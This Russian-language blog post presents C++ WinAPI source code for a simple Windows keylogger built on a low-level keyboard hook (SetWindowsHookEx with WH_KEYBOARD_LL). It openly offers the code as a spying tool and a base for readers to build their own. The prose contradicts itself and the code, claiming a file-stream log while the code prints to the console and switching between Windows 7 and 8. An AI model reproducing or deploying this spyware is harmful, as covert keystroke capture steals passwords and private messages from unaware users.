Кейлоггер для Windows - проще не бывает! С++, WinApi.

Продолжаем выкладывать статьи на тему "Как написать кейлоггер для Windows 7". Вот еще одна программа кейлоггер. Самая простая, проще не придумаешь. Вместе с тем, даже этот  кейлоггер для Windows 7 может удовлетворить ваши потребности  в шпионаже :). Перехват клавиш программа кейлоггер осуществляет без использования dll (WH_KEYBOARD_LL). Уже упоминалось, что программа кейлоггер, написанная с использованием (WH_KEYBOARD_LL) может поставить семерку в тупик. Но, мы же хакеры! Выход найдём! Кодитьт кейлоггер для Windows 7 можно и с  использованием SetWindowsHookEx ( WH_KEYBOARD_LL,...). Несомненный плюс - в результате получается один исполняемый файл.

Ну, а теперь программа кейлоггер - исходный код. На его основе можете писать свой кейлоггер для Windows 7 и не волноваться! При записи в лог использован файловый поток. Полный минимализм!

Исходник файла *.exe:

#include < windows.h >
#include < iostream >
using namespace std;
 
#define bufferSize 128
char charBuffer[bufferSize];
int pos = 0;
 
LRESULT CALLBACK keyboardHookProc(int nCode, 
WPARAM wParam, LPARAM lParam)
{
    PKBDLLHOOKSTRUCT key = (PKBDLLHOOKSTRUCT) (lParam);
 
    if (nCode < 0)
    {
        return CallNextHookEx(NULL, nCode, wParam, lParam);
    }
 
    if (nCode == HC_ACTION && wParam == WM_KEYDOWN)
    {
        charBuffer[pos] = (char)key->vkCode;
        pos++;
 
        // is the buffer full?
        if (pos == bufferSize)
        {
            // lets fix that
            cout << charBuffer << endl;
            pos = 0;
        }
    }
 
    // send the info the the next hook
    return CallNextHookEx(NULL, nCode, wParam, lParam);
}
 
int main(void) {
    // Кейлоггер для Windows 7 - Set windows hook
    HHOOK keyboardHook = SetWindowsHookEx(WH_KEYBOARD_LL,
    keyboardHookProc,NULL,0);

    MessageBox(NULL, "Press OK to stop logging.", 
    "Information", MB_OK);
 
    return 0;
}

Вот кейлоггер для Windows 8 и готов! Основы того, какова программа кейлоггер изнутри у вас есть.

Вы здесь: Главная Блог Кодинг x32 Исходники x32 Кейлоггер для Windows - проще не бывает! С++, WinApi.